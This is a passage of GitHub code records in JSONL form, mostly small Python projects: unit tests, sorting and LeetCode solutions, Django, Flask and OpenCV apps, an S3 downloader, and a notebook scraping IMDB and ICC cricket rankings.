+{"seq_id":"10392707591","text":"#!/usr/bin/python3\n\"\"\"\nThis is the test suite for the FileStorage class of the model\n\"\"\"\nimport unittest\nimport os\nfrom models.base_model import BaseModel\nfrom models.engine.file_storage import FileStorage\n\n\nclass TestFileStorage(unittest.TestCase):\n    def setUp(self):\n        self.file_path = \"file.json\"\n        if os.path.exists(self.file_path):\n            os.remove(self.file_path)\n        self.storage = FileStorage()\n\n    def tearDown(self):\n        if os.path.exists(self.file_path):\n            os.remove(self.file_path)\n\n    def test_all(self):\n        all_objects = self.storage.all()\n        self.assertIsInstance(all_objects, dict)\n        self.assertEqual(len(all_objects), 0)\n\n    def test_new(self):\n        obj = BaseModel()\n        self.storage.new(obj)\n        all_objects = self.storage.all()\n        self.assertEqual(len(all_objects), 1)\n        key = \"{}.{}\".format(obj.__class__.__name__, obj.id)\n        self.assertIn(key, all_objects)\n\n    def test_save(self):\n        all_objects = self.storage.all()\n        initial_length = len(all_objects)\n\n        obj = BaseModel()\n        self.storage.new(obj)\n        self.storage.save()\n\n        all_objects = self.storage.all()\n        self.assertEqual(len(all_objects), initial_length + 1)\n        key = \"{}.{}\".format(obj.__class__.__name__, obj.id)\n        self.assertIn(key, all_objects)\n\n    def test_reload(self):\n        obj = BaseModel()\n        self.storage.new(obj)\n        self.storage.save()\n        self.storage.reload()\n        all_objects = self.storage.all()\n        self.assertEqual(len(all_objects), 1)\n        key = \"{}.{}\".format(obj.__class__.__name__, obj.id)\n        self.assertIn(key, all_objects)\n\n    def test_reload_file_not_found(self):\n        self.storage.reload()\n        all_objects = self.storage.all()\n        self.assertIsInstance(all_objects, dict)\n        self.assertEqual(len(all_objects), 0)\n        self.assertEqual(FileStorage.__FileStorage__objects, {})\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"T-sosthenese/AirBnB_clone","sub_path":"tests/test_models/test_engine/test_file_storage.py","file_name":"test_file_storage.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4751258231","text":"# Heapsort implementation\r\n\r\nimport math\r\n\r\n# Returns index of right child\r\ndef right(arr, index):\r\n    return math.floor((2 * index) + 2)\r\n\r\n# Returns index of left child\r\ndef left(arr, index):\r\n    return math.floor((2 * index) + 1)\r\n\r\n# Returns index of parent node\r\ndef parent(arr, index):\r\n    return math.floor((index - 1) / 2)\r\n\r\ndef heapify(arr, index):\r\n    parent_node = arr[parent(arr, index)]\r\n    child_node = arr[index]\r\n\r\n    print(\"\\nHeapifying at index {}\".format(index))\r\n    print(\"-> Comparing parent ({}) vs child ({})\".format(parent_node, child_node))\r\n\r\n    # Swap with the parent node if it is less than the child node\r\n    if parent_node < child_node:\r\n        arr[parent(arr, index)], arr[index] = arr[index], arr[parent(arr, index)] # swap\r\n        print(\"-> Swapped parent and child node\")\r\n        print(\"-> Parent is now {} and child is now {}\".format(arr[parent(arr, index)], arr[index]))\r\n\r\n# Builds a max heap from given array\r\ndef build_maxheap(arr):\r\n    # Traverse array backwards to heapify from bottom up\r\n    for i in range(len(arr)-1, 0, -1):\r\n        heapify(arr, i)\r\n\r\n# Takes a max heap and fully sorts\r\ndef heapsort(arr):\r\n    sorted = []\r\n    # Sort from bottom up\r\n    for i in range(len(arr)-1, 0, -1):\r\n        # Currently, the biggest value in array is the root, so we append that to our sorted list\r\n        sorted.append(arr[0])\r\n        # Replace root with current index, and reperform max heap construction in order for root\r\n        # to once again be the largest element\r\n        arr[0] = arr[i]\r\n        del arr[i] #\r\n        build_maxheap(arr)\r\n    return sorted[::-1] # returns ascending sorted list\r\n\r\n# Driver code to demonstrate use\r\ndata = [4, 13, 65, 47, 1, 23, 12, 32, 75, 20, -99, -2012030, 40, 0, 999999999999999, -69, -33, -1]\r\nprint(\"Data before building max heap: {}\".format(data))\r\nbuild_maxheap(data)\r\nprint(\"\\nMax Heap: {}\".format(data))\r\nsorted_data = heapsort(data)\r\nprint(\"\\nSorted Data: {}\".format(sorted_data))\r\n","repo_name":"kylemaestro/heapsort","sub_path":"heapsort.py","file_name":"heapsort.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2324273080","text":"import os.path as op\n\nfrom AFQ.utils.path import drop_extension\n\n__all__ = [\"Definition\", \"find_file\", \"name_from_path\"]\n\n\nclass Definition(object):\n    '''\n    All Definitions should inherit this.\n    For a given subject and session within the API, the definition is used\n    to create a given image or map.\n    Definitions have an init function which the users uses to specify\n    how they want the definition to behave.\n    The find_path function is called by the AFQ API.\n    The api calls find_path to let the definition find relevant files\n    for the given subject and session.\n    '''\n\n    def __init__(self):\n        raise NotImplementedError(\"Please implement an __init__ method\")\n\n    def find_path(self, bids_layout, from_path, subject, session):\n        raise NotImplementedError(\"Please implement a find_path method\")\n\n    def str_for_toml(self):\n        \"\"\"\n        Uses __init__ in str_for_toml to make string that will instantiate\n        itself. Assumes object will have attributes of same name as\n        __init__ args. This is important for reading/writing definitions\n        as arguments to config files.\n        \"\"\"\n        return type(self).__name__\\\n            + \"(\"\\\n            + _arglist_to_string(\n                self.__init__.__code__.co_varnames,\n                get_attr=self)\\\n            + ')'\n\n\ndef _arglist_to_string(args, get_attr=None):\n    '''\n    Helper function\n    Takes a list of arguments and unfolds them into a string.\n    If get_attr is not None, it will be used to get the attribute\n    corresponding to each argument instead.\n    '''\n    to_string = \"\"\n    for arg in args:\n        if arg == \"self\":\n            continue\n        if get_attr is not None:\n            arg = getattr(get_attr, arg)\n        if isinstance(arg, Definition):\n            arg = arg.str_for_toml()\n        elif isinstance(arg, str):\n            arg = f\"\\\"{arg}\\\"\"\n        elif isinstance(arg, list):\n            arg = f\"[{_arglist_to_string(arg)}]\"\n        to_string = to_string + str(arg) + ', '\n    if to_string[-2:] == ', ':\n        to_string = to_string[:-2]\n    return to_string\n\n\ndef name_from_path(path):\n    file_name = op.basename(path)  # get file name\n    file_name = drop_extension(file_name)  # remove extension\n    if \"-\" in file_name:\n        file_name = file_name.split(\"-\")[-1]  # get suffix if exists\n    return file_name\n\n\ndef find_file(bids_layout, path, filters, suffix, session, subject,\n              extension=\".nii.gz\"):\n    \"\"\"\n    Helper function\n    Generic calls to get_nearest to find a file\n    \"\"\"\n    if \"extension\" not in filters:\n        filters[\"extension\"] = extension\n    if \"suffix\" not in filters:\n        filters[\"suffix\"] = suffix\n\n    # First, try to match the session.\n    nearest = bids_layout.get_nearest(\n        path,\n        **filters,\n        session=session,\n        subject=subject,\n        full_search=True,\n        strict=False,\n    )\n\n    if nearest is None:\n        # If that fails, loosen session restriction\n        nearest = bids_layout.get_nearest(\n            path,\n            **filters,\n            subject=subject,\n            full_search=True,\n            strict=False,\n        )\n\n    if nearest is None:\n        # If nothing is found still, raise an error\n        raise ValueError((\n            \"No file found with these parameters:\\n\"\n            f\"suffix: {suffix},\\n\"\n            f\"session (searched with and without): {session},\\n\"\n            f\"subject: {subject},\\n\"\n            f\"filters: {filters},\\n\"\n            f\"near path: {path},\\n\"))\n\n    path_subject = bids_layout.parse_file_entities(path).get(\n        \"subject\", None\n    )\n    file_subject = bids_layout.parse_file_entities(nearest).get(\n        \"subject\", None\n    )\n    if path_subject != file_subject:\n        raise ValueError(\n            f\"Expected subject IDs to match for the retrieved image file \"\n            f\"and the supplied `from_path` file. Got sub-{file_subject} \"\n            f\"from image file {nearest} and sub-{path_subject} \"\n            f\"from `from_path` file {path}.\"\n        )\n\n    return nearest\n","repo_name":"yeatmanlab/pyAFQ","sub_path":"AFQ/definitions/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4079,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"16"}
+{"seq_id":"26809196457","text":"# https://leetcode.com/problems/best-time-to-buy-and-sell-stock\n# O(N) T | O(1) S\n\nfrom best_time_to_buy_and_sell_stock_iv import best_time_to_buy_and_sell_stock_iv\n\n\ndef best_time_to_buy_and_sell_stock_sliding_window(prices: list[int]) -> int:\n    max_profit = 0\n    buy_day = 0\n    for sell_day in range(1, len(prices)):\n        profit = prices[sell_day] - prices[buy_day]\n        if profit < 0:\n            buy_day = sell_day\n        else:\n            max_profit = max(max_profit, profit)\n    return max_profit\n\n\ndef best_time_to_buy_and_sell_stock_kadane_algorithm(prices: list[int]) -> int:\n    max_profit = current_profit = 0\n    for index in range(1, len(prices)):\n        current_profit = max(0, current_profit + prices[index] - prices[index - 1])\n        max_profit = max(max_profit, current_profit)\n    return max_profit\n\n\ndef best_time_to_buy_and_sell_stock_bottom_up(prices: list[int]) -> int:\n    return best_time_to_buy_and_sell_stock_iv(prices, 1)\n","repo_name":"duongleh/data-structures-and-algorithms","sub_path":"Dynamic Programming/best_time_to_buy_and_sell_stock.py","file_name":"best_time_to_buy_and_sell_stock.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1729454898","text":"import numpy as np\nimport cv2 \n\ncam = cv2.VideoCapture(0)\nface = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\nknown_distance = 40  # kameraya uzaklik\nknown_width = 12   # yüzünüzün ortalam genisligi\n\ndef focal_length(measured_distance, real_width, width_in_rf_image):\n   focal_length = (width_in_rf_image * measured_distance)/ real_width\n   return focal_length\n\ndef distance_finder(Focal_length,real_face_width,face_width_in_frame):\n   distance = (real_face_width* Focal_length)/ face_width_in_frame \n   return distance\n\ndef face_data(img):\n    fotogri = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n    faces = face.detectMultiScale(fotogri,1.3,2)\n    for (x,y,w,h) in faces:\n      cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),1)\n      global face_width \n      face_width = w\n    return face_width\n\nref_image = cv2.imread('fotom.jpg')\nref_image_face_width = face_data(ref_image)\nfocal_length_found = focal_length(known_distance,known_width,ref_image_face_width)\nfonts = cv2.FONT_HERSHEY_COMPLEX\n\n\n\nwhile True: \n  _,goruntu = cam.read()\n  goruntu = cv2.flip(goruntu,1)\n\n  face_width_in_frame = face_data(goruntu)\n  if face_width_in_frame !=0:\n    Distance = distance_finder(focal_length_found,known_width,face_width_in_frame)\n    cv2.putText(goruntu,f\"Distance = {Distance}\",(50,50),fonts,1,(0,0,255),2)\n\n  cv2.imshow(\"video\",goruntu)\n  if cv2.waitKey(30) & 0xFF == ord('q'):\n    break\ncam.release()\ncv2.destroyAllWindows()\n","repo_name":"mustafakendiguzel/OpenCV-Python-Face-Detection-Distance-Estimation-","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6875631930","text":"from email.mime import image\nfrom unicodedata import category\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.http.response import Http404\nimport datetime as dt\n\nfrom phoros.models import Location, Category, Image\n\n# Create your views here.\ndef index(request):\n    location = Location.objects.all() \n    category = Category.objects.all()\n    image  = Image.objects.all()\n    \n    return render(request, 'index.html', {\"loaction\":location, \"category\":category, \"image\":image})\n\ndef location(request,location):\n    image=Image.objects.filter(location=location)\n\n    return render(request,'location.html',{\"image\":image})\n\ndef category(request,category):\n\n    category = Category.objects.all()\n    image=Image.objects.filter(category=category)\n\n    return render(request,'category.html',{\"category\":category, \"image\":image})\n\ndef search_results(request):\n  \n  if 'category' in request.GET and request.GET[\"category\"]:\n    search_term = request.GET.get(\"category\")\n    searched_category = Category.search_by_category(search_term)\n    message = f\"{search_term}\"\n    \n    return render(request,\"search.html\", {'message':message,'category':searched_category})\n  else:\n    message = \"Please input a valid category\"\n    return render(request,'search.html', {'message':message})\n\n\ndef get_image_by_id(request,image_id):\n  try:\n    image= Image.objects.get(id=image_id)\n  except:\n    raise Http404()  \n  return render(request,'display.html',{'image':image})\n\ndef filter_by_location(request,location):\n  image= Image.filter_by_location(location)\n  \n  return render(request,'location.html',{'image':image})","repo_name":"Andrewowalla/per-gallery","sub_path":"phoros/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7292062769","text":"import timeit\n\nrepetition = 1000\n\ndef time_elapsed(label, setup, stmt):\n    _elapsed = timeit.timeit(stmt, setup, number=repetition) * 10**6 / repetition\n    print(label, \"{:.3f} μs\".format(_elapsed))\n    return _elapsed\n\nsetup = \"\"\"import pure_python\"\"\"\nstmt = \"pure_python.get_neighborhood((10, 10), True, True, 10, False, 30, 30)\"\nelapsed_default = time_elapsed(\"default\", setup, stmt)\n\nsetup = \"\"\"\ndef empty():\n    return\n\"\"\"\nstmt = \"empty()\"\ntime_elapsed(\"python empty\", setup, stmt)\n\nsetup = \"\"\"\nimport cython_grid\ngrid2 = cython_grid.Grid(30, 30)\n\"\"\"\nstmt = \"grid2.get_neighborhood((10, 10), True, 10)\"\nelapsed_cython_ndarray = time_elapsed(\"cython np.array\", setup, stmt)\nprint(\"  faster\", round(elapsed_default / elapsed_cython_ndarray, 2))\n\nsetup = \"import tortar\"\nstmt = \"tortar.compute_neighborhood((10, 10), True, True, 10, False, 30, 30)\"\ntime_elapsed(\"cython list\", setup, stmt)\n\nsetup = \"from numba_version import get_neighborhood; get_neighborhood(30, 30, (10, 10), True, 10)\"\nstmt = \"get_neighborhood(30, 25, (10, 10), True, 10)\"\ntime_elapsed(\"numba np.array\", setup, stmt)\n\nsetup = \"from numba_version import get_neighborhood_typed_list\"\nstmt = \"get_neighborhood_typed_list(30, 30, (10, 10), True, 10)\"\ntime_elapsed(\"numba typed_list\", setup, stmt)\n\nsetup = \"from cython_array import compute_neighborhood_array\"\nstmt = \"compute_neighborhood_array((10, 10), True, 10, 30, 30)\"\ntime_elapsed(\"cython array\", setup, stmt)\n","repo_name":"rht/mesa-perf","sub_path":"experiments/get_neighborhood/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"11614427487","text":"from datetime import datetime\n\n\n# Create new question with its elements in the data table\n# SQL table title: ID;Submisson Time;View Number;Vote Number;Title;Message;Image\n#\n# @req_form: dictionary from html form\ndef init_question_values(req_form, user_id):\n    local_time = datetime.now()\n    view_number = \"0\"\n    vote_number = \"0\"\n    title = req_form[\"title\"]\n    data_form_story = req_form[\"story\"]\n    image = \"\"\n    new_question = [str(local_time)[:-7], view_number, vote_number,\n                    title, data_form_story, image, user_id]\n    return new_question\n\n\n# Create new answer with its elements in the data table\n# SQL table title: ID;Submisson Time;Vote Number;Question ID;Message;Image\n#\n# @req_form: dictionary from html form\n# @question_id: int - index of the question\ndef init_answer_values(message, user_id):\n    local_time = datetime.now()\n    vote_number = \"0\"\n    new_answer = [str(local_time)[:-7], vote_number, message, user_id]\n    return new_answer\n\n\n# Create new comment with its elements in the data table\n# SQL table title: ID,Message;Foreign key;Foreign key value;Submission time\n#\n# @req_form: dictionary from html form\n# @path: list\n# @question_id: int - index of the question\ndef init_comment_values(req_form, path, id):\n    comment = {'message': '',\n               'foreign_key': '',\n               'foreign_key_value': '',\n               'submission_time': ''}\n    comment['message'] = \"'\" + str(req_form['comment']).replace(\"'\", \"''\") + \"'\"\n    print(path)\n    if \"answer\" in path:\n        comment['foreign_key'] = 'answer_id'\n    if \"question\" in path:\n        comment['foreign_key'] = 'question_id'\n    comment['foreign_key_value'] = id\n    comment['submission_time'] = \"'\" + str(datetime.now())[:-7] + \"'\"\n\n    return comment\n\n\n# Create new user with its elements in the data table\n# SQL table title: Id, User mates name; Reputation; Submission time\n#\n# @req_form: dictionary from html form\ndef init_user_values(req_form):\n    user_mates_name = req_form[\"new_user_name\"]\n    reputation = 0\n    local_time = datetime.now()\n    new_user_mates = [user_mates_name, reputation, str(local_time)[:-7]]\n    return new_user_mates\n","repo_name":"AndrasKovacs84/mittuDOMAIN-AskMate_project_sql","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"395656150","text":"\nfrom flask_app.config.mysqlconnection import MySQLConnection, connectToMySQL\nfrom flask_app import app\n\nclass Friendship:\n    db =  'ijam_schema'\n    def __init__(self, data):\n        self.friend = data['friend'],\n        self.user = data['user'],\n        self.user_id = data['user_id'],\n        self.friend_id = data['friend_id']\n\n\n# create Friendship\n    @classmethod\n    def create_friendship(cls, data):\n        #use hidden inputs from form to get ids\n        query= '''\n        Insert INTO friendships (user_id, friend_id)\n        VALUES (%(user_id)s, %(friend_id)s)\n        ;'''\n\n        return connectToMySQL(cls.db).query_db(query, data)\n\n    @classmethod\n    def display_friendships(cls):\n        query= '''\n        SELECT users.first_name as user, users2.first_name as friend\n        FROM users\n        LEFT JOIN friendships ON users.id = friendships.user_id\n        LEFT JOIN users as users2 ON users2.id = friendships.friend_id\n        ;'''\n# ____either query would work--------\n\n        # query = ''' SELECT users.first_name as user, users2.first_name as friend, friendships.* FROM friendships\n        # LEFT JOIN users ON users.id = friendships.user_id\n        # Left Join users as users2 ON users2.id = friendships.friend_id;'''\n\n        return connectToMySQL(cls.db).query_db(query)\n\n\n\n\n","repo_name":"Ryannally91/jam-sesh-final-project","sub_path":"flask_app/models/friendship.py","file_name":"friendship.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40573619708","text":"import os\nimport logging\nimport boto3\nfrom dlow._dlow_core import ResourceDownloader\n\n\nclass S3FolderDownloader(ResourceDownloader):\n    \"\"\"Downloads a folder from an S3 bucket, reproducing its structure within a local filesystem folder.\n       Performs parallel post-download processing when post_download_processes are provided.\"\"\"\n    def __init__(self, s3_bucket_name, s3_top_level_source_folder):\n        self._s3_bucket_name = s3_bucket_name\n        self._s3_top_level_source_folder = s3_top_level_source_folder\n        self._s3_client = boto3.client('s3')\n        self._s3_resource = boto3.resource('s3')\n\n        # Make sure the folder name ends with a slash.\n        if not self._s3_top_level_source_folder.endswith('/'):\n            self._s3_top_level_source_folder += '/'\n        # Make sure the folder path doesn't start with a slash.\n        self._s3_top_level_source_folder = self._s3_top_level_source_folder.lstrip('/')\n\n    def _download_s3_dir(self, dest_dir, logger, recursive=True, s3_current_source_folder=None):\n        \"\"\"Downloads all objects in the given S3 bucket and source folder into the given local destination folder.\n           If recursive=True, the folder structure of s3_top_level_source_folder will be recreated inside local_dest_folder with copying performed recursively.\"\"\"\n\n        s3_current_source_folder = self._s3_top_level_source_folder if s3_current_source_folder is None else s3_current_source_folder\n        paginator = self._s3_client.get_paginator('list_objects')\n        for s3_objects_list in paginator.paginate(Bucket=self._s3_bucket_name, Delimiter='/', Prefix=s3_current_source_folder):\n            if recursive:\n                s3_folders = s3_objects_list.get('CommonPrefixes')\n                if s3_folders is not None:\n                    for subfolder in s3_folders:\n                        # Recurse. Use yield to pop yielded results back up the recursion stack.\n                        for downloaded_file_path in self._download_s3_dir(dest_dir, logger, recursive=True, s3_current_source_folder=subfolder.get('Prefix')):\n                            yield downloaded_file_path\n\n            # Folders have a key ending with a slash so we filter them out.\n            s3_file_objects = [obj for obj in s3_objects_list.get('Contents') or [] if not obj['Key'].endswith('/')]\n            for s3_file_object in s3_file_objects:\n                s3_object_key = s3_file_object['Key']\n                # Here we chop off the path segments of the top level source directory for the destination path.\n                # This has the effect of copying only the folder structure from that point inward, rather than the whole bucket folder structure from the top.\n                dest_path_of_file = os.path.realpath(os.path.join(dest_dir, s3_object_key[len(self._s3_top_level_source_folder):]))\n                dest_folder_of_file = os.path.dirname(dest_path_of_file)\n                if not os.path.exists(dest_folder_of_file):\n                    logger.info('Creating local directory %s' % (dest_folder_of_file,))\n                    os.makedirs(dest_folder_of_file)\n                logger.info('Starting download of object %s from bucket %s to local directory %s' % (s3_object_key, self._s3_bucket_name, dest_path_of_file))\n                with open(dest_path_of_file, 'wb') as local_file_handle:\n                    self._s3_client.download_fileobj(self._s3_bucket_name, s3_object_key, local_file_handle)\n                logger.info('Finished download of object %s from bucket %s to local directory %s' % (s3_object_key, self._s3_bucket_name, dest_path_of_file))\n\n                yield dest_path_of_file\n\n    def iter_downloaded_files(self, dest_dir, logger=logging.getLogger(), recursive=True):\n        for downloaded_file_path in self._download_s3_dir(dest_dir, logger, recursive):\n            yield downloaded_file_path","repo_name":"samjgalbraith/dlow","sub_path":"dlow/s3/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"44858453450","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nget_ipython().system('pip install bs4')\nget_ipython().system('pip install requests')\n\n\n# In[2]:\n\n\nfrom bs4 import BeautifulSoup\nimport requests\n\n\n# # a python program to display all the header tags from wikipedia.org and make data frame.\n# \n\n# In[3]:\n\n\npage=requests.get(\"https://en.wikipedia.org/wiki/Main_Page\")\npage\n\n\n# In[4]:\n\n\nsoup=BeautifulSoup(page.content)\n\nprint(soup.prettify())\n\n\n# In[5]:\n\n\nheadings=soup.find_all('div',class_=\"vector-header-container\")\nheadings\n\n\n# In[6]:\n\n\ntitles=[]\n\nfor title in headings:\n    title=title.get_text().replace('\\n', \"\")\n    title=title.strip(\" \")\n    titles.append(title)\n    \ntitles\n\n\n# In[7]:\n\n\nimport pandas as pd\n\n\n# In[8]:\n\n\ndata=pd.DataFrame()\ndata['Heading name']=titles\ndata\n\n\n# # top 50 IMDB movies \n\n# In[9]:\n\n\npage=requests.get(\"https://www.imdb.com/chart/top/?ref_=nv_mv_50\")\npage\n\n\n# In[10]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[11]:\n\n\nmovie=soup.find_all('td',class_=\"titleColumn\")\nmovie\n\n\n# In[12]:\n\n\nnames = []\nfor name in movie:\n    name=name.get_text().replace('\\n', \"\")\n    name=name.strip(\" \")\n    names.append(name)\nnames\n\n\n# In[13]:\n\n\nrate=soup.find_all('td',class_=\"ratingColumn imdbRating\")\nrate\n\n\n# In[14]:\n\n\nratings = []\nfor rating in rate:\n    rating=rating.get_text().replace('\\n', \"\")\n    rating=rating.strip(\" \")\n    ratings.append(rating)\nratings\n\n\n# In[15]:\n\n\nimport pandas as pd\n\n\n# In[16]:\n\n\ndata=pd.DataFrame()\ndata['movies name']=names\ndata['ratings']=ratings\ndata.head(50)\n\n\n# # 50 indian movies \n\n# In[17]:\n\n\npage=requests.get(\"https://www.imdb.com/india/top-rated-indian-movies/\")\npage\n\n\n# In[18]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[19]:\n\n\nindmovie=soup.find_all('td',class_=\"titleColumn\")\nindmovie\n\n\n# In[20]:\n\n\nnames = []\nfor name in indmovie:\n    name=name.get_text().replace('\\n', \"\")\n    name=name.strip(\" \")\n    names.append(name)\nnames\n\n\n# In[21]:\n\n\nrate=soup.find_all('td',class_=\"ratingColumn imdbRating\")\nrate\n\n\n# In[22]:\n\n\nratings = []\nfor rating in rate:\n    rating=rating.get_text().replace('\\n', \"\")\n    rating=rating.strip(\" \")\n    ratings.append(rating)\nratings\n\n\n# In[23]:\n\n\ndata=pd.DataFrame()\ndata['movies name']=names\ndata['ratings']=ratings\ndata.head(50)\n\n\n# # python program to display list of respected former presidents of India\n\n# In[24]:\n\n\npage=requests.get(\"https://presidentofindia.nic.in/former-presidents.htm\")\npage\n\n\n# In[25]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[26]:\n\n\nindpresident=soup.find_all('div', class_=\"presidentListing\")\nindpresident\n\n\n# In[27]:\n\n\nnames = []\nfor name in indpresident:\n    name=name.get_text().replace('\\n', \"\")\n    name=name.strip(\" \")\n    names.append(name)\nnames\n\n\n# In[28]:\n\n\npresiname=soup.find_all('h3')\npresiname\n\n\n# In[29]:\n\n\npresiterms=soup.find_all('p')[0:14]\npresiterms\n\n\n# In[30]:\n\n\nnames = []\nfor name in presiname:\n    name=name.get_text().replace('\\n', \"\")\n    name=name.strip(\" \")\n    names.append(name)\nnames\n\n\n# In[31]:\n\n\nterms = []\nfor term in presiterms:\n    term=term.get_text().replace('\\n',\"\")\n    term=term.strip(\" \")\n    terms.append(term)\nterms\n\n\n# In[32]:\n\n\ndata=pd.DataFrame()\ndata['president names']=names\ndata['terms of office']=terms\ndata\n\n\n# # a python program to scrape cricket rankings\n\n# In[33]:\n\n\npage=requests.get(\"https://www.icc-cricket.com/rankings/mens/team-rankings/odi\")\npage\n\n\n# In[34]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[35]:\n\n\nteam=soup.find_all('span',class_=\"u-hide-phablet\")\nteam\n\n\n# In[36]:\n\n\nteams = []\nfor oditeam in team:\n    oditeam=oditeam.get_text().replace('\\n',\"\")\n    oditean=oditeam.strip(\" \")\n    teams.append(oditeam)\nteams\n\n\n# In[37]:\n\n\nausmatch=soup.find_all('td',class_=\"rankings-block__banner--matches\")\nausmatch\n\n\n# In[38]:\n\n\naumatches = []\nfor auodimatch in ausmatch:\n    auodimatch=auodimatch.get_text().replace('\\n',\"\")\n    auodimatch=auodimatch.strip(\" \")\n    aumatches.append(auodimatch)\naumatches\n\n\n# In[39]:\n\n\nauspoint=soup.find_all('td',class_=\"rankings-block__banner--points\")\nauspoint\n\n\n# In[40]:\n\n\nratpoints = []\nfor point in auspoint:\n    point=point.get_text().replace('\\n',\"\")\n    point=point.strip(\" \")\n    ratpoints.append(point)\nratpoints\n\n\n# In[41]:\n\n\nausrating=soup.find_all('td',class_=\"rankings-block__banner--rating u-text-right\")\nausrating\n\n\n# In[42]:\n\n\nrataus = []\nfor rat in ausrating:\n    rat=rat.get_text().replace('\\n',\"\")\n    rat=rat.strip(\" \")\n    rataus.append(rat)\nrataus\n\n\n# In[43]:\n\n\nmatch_p=soup.find_all('td',class_=\"table-body__cell u-center-text\")\nmatch_p\n\n\n# In[44]:\n\n\nmatches = []\nfor odimatch in match_p:\n    odimatch=odimatch.get_text().replace('\\n',\"\")\n    odimatch=odimatch.strip(\" \")\n    matches.append(odimatch)\nmatches\n\n\n# In[45]:\n\n\nmatrating=soup.find_all('td',class_=\"table-body__cell u-text-right rating\")\nmatrating\n\n\n# In[46]:\n\n\nratings = []\nfor mrating in matrating:\n    mrating=mrating.get_text().replace('\\n',\"\")\n    mrating=mrating.strip(\" \")\n    ratings.append(mrating)\nratings\n\n\n# In[47]:\n\n\ndata=pd.DataFrame()\ndata['team name']=teams\ndata['matches']=matches\ndata['ratings']=ratings\ndata.head(10)\n\n\n# In[48]:\n\n\nlen(matches)\n\n\n# In[49]:\n\n\nlen(ratings)\n\n\n# In[50]:\n\n\nlen(teams)\n\n\n# In[51]:\n\n\npage=requests.get(\"https://www.icc-cricket.com/rankings/mens/player-rankings/odi\")\npage\n\n\n# In[52]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[53]:\n\n\nname=soup.find_all('td', class_=\"table-body__cell name\")\nname\n\n\n# In[54]:\n\n\nplayers = []\nfor players_name in name:\n    players_name=players_name.get_text().replace('\\n',\"\")\n    players_name=players_name.strip(\" \")\n    players.append(players_name)\nplayers\n\n\n# In[55]:\n\n\nnation=soup.find_all('td', class_=\"table-body__cell nationality-logo\")\nnation\n\n\n# In[56]:\n\n\nnationality = []\nfor players_nationality in nation:\n    players_nationality=players_nationality.get_text().replace('\\n',\"\")\n    players_nationality=players_nationality.strip(\" \")\n    nationality.append(players_nationality)\nnationality\n\n\n# In[57]:\n\n\nratings_play=soup.find_all('td', class_=\"table-body__cell u-text-right rating\")\nratings_play\n\n\n# In[58]:\n\n\nratings_point = []\nfor players_ratings in ratings_play:\n    players_ratings=players_ratings.get_text().replace('\\n',\"\")\n    players_ratings=players_ratings.strip(\" \")\n    ratings_point.append(players_ratings)\nratings_point\n\n\n# In[59]:\n\n\ndata=pd.DataFrame()\ndata['players_name']=players\ndata['nationality']=nationality\ndata['ratings']=ratings_point\ndata.head(10)\n\n\n# In[60]:\n\n\npage=requests.get(\"https://www.icc-cricket.com/rankings/mens/player-rankings/odi/all-rounder\")\npage\n\n\n# In[61]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[62]:\n\n\nall_name=soup.find_all('td', class_=\"table-body__cell rankings-table__name name\")\nall_name\n\n\n# In[63]:\n\n\nallrounders = []\nfor players_all in all_name:\n    players_all=players_all.get_text().replace('\\n',\"\")\n    players_all=players_all.strip(\" \")\n    allrounders.append(players_all)\nallrounders\n\n\n# In[64]:\n\n\nnation=soup.find_all('td', class_=\"table-body__cell nationality-logo rankings-table__team\")\nnation\n\n\n# In[65]:\n\n\nnationalityy = []\nfor players_nation in nation:\n    players_nation=players_nation.get_text().replace('\\n',\"\")\n    players_nation=players_nation.strip(\" \")\n    nationalityy.append(players_nation)\nnationalityy\n\n\n# In[66]:\n\n\nratings=soup.find_all('td', class_=\"table-body__cell rating\")\nratings\n\n\n# In[67]:\n\n\nplayers_rating = []\nfor all_rating in ratings:\n    all_rating=all_rating.get_text().replace('\\n',\"\")\n    all_rating=all_rating.strip(\" \")\n    players_rating.append(all_rating)\nplayers_rating\n\n\n# In[68]:\n\n\ndata=pd.DataFrame()\ndata['players_name']=allrounders\ndata['nationality']=nationalityy\ndata['ratings']=players_ratings\ndata.head(10)\n\n\n# # a python program to scrape cricket rankings for womens\n\n# 